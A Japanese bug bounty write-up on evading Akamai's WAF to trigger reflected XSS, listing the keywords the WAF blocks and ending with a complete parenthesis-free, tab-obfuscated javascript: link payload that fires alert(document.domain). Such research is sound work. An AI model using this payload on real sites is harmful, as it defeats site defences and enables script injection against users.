
#141 Akamai WAF Bypass
Bug Bountyをやっていて、AkamaiのWAFに遭遇しました。試行錯誤の末、なんとか突破できたので記録を残しておきます。
AkamaiGHost WAF Bypass
調査
ターゲットは一般的な会員サイトで、検索機能があったり、商品の購入ができたりします。一部で入力値のエスケープモレがあり、反射型XSSがいけそうだなということがわかりました。
しかし、普通のXSSペイロードを送り込むと、403エラーになってしまいました。レスポンスをよく見ると、ServerがAkamaiGHostになっています。
HTTP/1.1 403 Forbidden
Server: AkamaiGHost
Mime-Version: 1.0
Content-Type: text/html
Content-Length: 385
Expires: Mon, 05 Aug 2024 13:53:51 GMT
Date: Mon, 05 Aug 2024 13:53:51 GMT
Connection: close
Access-Control-Allow-Origin: *
<HTML><HEAD>
<TITLE>Access Denied</TITLE>
</HEAD>
調べたところ、AlamaiGHostは、AkamaiのCDNサーバーで、負荷分散とあわせてWAF機能を提供していることがわかりました。
上記の記事によると、IPアドレスのブラックリストやリクエスト内容に応じてブロックされるようです。
こいつをなんとかバイパスすれば、XSSが刺せそうなので、気合でがんばります。
ブロックキーワード洗い出し
敵がわかったところで、どんなペイロードがブロックされるのか試行錯誤で試してみます。ネット上で紹介されているAkamai WAF Bypassのペイロードは、どれも対策されているようでブロックされました。
一度ブロックされると15分ぐらいはサイトにアクセスできなくなり、効率よくテストできないのが歯がゆい感じでした。大量の時間を溶かして、ペイロードに含められる文字を洗い出した結果が下記です。
OK
<a href=x>click
onerror
innerHTML
let a = window;
NG
<svg>
<script>
onerror=
javascript
document.write
`
()
Scriptタグやイベントが使えれば簡単でしたが、しっかりブロックされます。意外と、JavaScriptの構文は使えそうなのが幸いでした。この結果から、下記のような構成のペイロードを目指すことにしました。
<a href=javascript:{JavaScriptで()を使わずに関数を実行する}>click
Bypass1 javascript
表にも記載した通り、javascriptという文字は含められないので、少し工夫が必要です。
これは、Tabを含めるのと、一部HTMLエンコードすることでうまくかいくぐれました。Tabは途中に入っていてもブラウザに無視されるので、たくさん入れておきます。コロンもHTMLエンコードするとバレにくくなります。
<a href="Ja	vasc	ript:
Bypass 2 ()を使わないでスクリプトを実行する
関数の実行には、絶対に()が必要なんですが、なんとかなりました。下記の記事を参考にちょっとアレンジしています。
今回使ったのは、こちらです。簡単に内容を説明すると、HTMLエンコードを使って1文字ずつ生成し、最後に結合してinnerHTMLに書き出しています。これで、()をペイロードに含むことなくScriptを実行できます。
elem=new Option;
elem.classList.valueOf=String.prototype.charAt;
elem.innerText=elem.outerHTML;
elem.className=elem.innerHTML;
amp=Object.__proto__.name+elem.classList;
htag=new Text;
elem.className=htag.nodeName;
htag=Object.__proto__.name+elem.classList;
elem.innerHTML=amp+htag+97;
a=elem.innerText;
elem.innerHTML=amp+htag+99;
c=elem.innerText;
elem.innerHTML=amp+htag+105;
i=elem.innerText;
elem.innerHTML=amp+htag+106;
j=elem.innerText;
elem.innerHTML=amp+htag+112;
p=elem.innerText;
elem.innerHTML=amp+htag+114;
r=elem.innerText;
elem.innerHTML=amp+htag+115;
s=elem.innerText;
elem.innerHTML=amp+htag+116;
t=elem.innerText;
elem.innerHTML=amp+htag+118;
v=elem.innerText;
elem.innerHTML=amp+htag+60;
la=elem.innerText;
elem.innerHTML=amp+htag+62;
ra=elem.innerText;
elem.innerHTML=amp+htag+47;
sla=elem.innerText;
elem.innerHTML=amp+htag+58;
colon=elem.innerText;
elem.innerHTML=amp+htag+40;
lpar=elem.innerText;
elem.innerHTML=amp+htag+41;
rpar=elem.innerText;
document.innerHTML=la+s+c+r+i+p+t+ra+alert.name+lpar+1+rpar+la+sla+s+c+r+i+p+t+ra
ペイロード
最終的なペイロードがこちらです。クリックするとスクリプトが発火するリンクを生成します。
<a href="Ja	vasc	ript:elem=new Option;elem.classList.valueOf=String.prototype.charAt;elem.innerText=elem.outerHTML;elem.className=elem.innerHTML;amp=Object.__proto__.name+elem.classList;htag=new Text;elem.className=htag.nodeName;htag=Object.__proto__.name+elem.classList;elem.innerHTML=amp+htag+97;a=elem.innerText;elem.innerHTML=amp+htag+99;c=elem.innerText;elem.innerHTML=amp+htag+105;i=elem.innerText;elem.innerHTML=amp+htag+106;j=elem.innerText;elem.innerHTML=amp+htag+112;p=elem.innerText;elem.innerHTML=amp+htag+114;r=elem.innerText;elem.innerHTML=amp+htag+115;s=elem.innerText;elem.innerHTML=amp+htag+116;t=elem.innerText;elem.innerHTML=amp+htag+118;v=elem.innerText;elem.innerHTML=amp+htag+60;la=elem.innerText;elem.innerHTML=amp+htag+62;ra=elem.innerText;elem.innerHTML=amp+htag+47;sla=elem.innerText;elem.innerHTML=amp+htag+58;colon=elem.innerText;elem.innerHTML=amp+htag+40;lpar=elem.innerText;elem.innerHTML=amp+htag+41;rpar=elem.innerText;document.innerHTML=la+s+c+r+i+p+t+ra+alert.name+lpar+'docu'+'ment'+'.doma'+'in'+rpar+la+sla+s+c+r+i+p+t+ra">click
まとめ
JavaScriptは、トリッキーなテクニックがたくさんあるので、なんとかバイパスできるだろうなと思わせてくれます。ただ、いつかこのペイロードも対策されて使えなくなるでしょう。
まあそのときはまた、バイパスしてあげましょうか。
EOF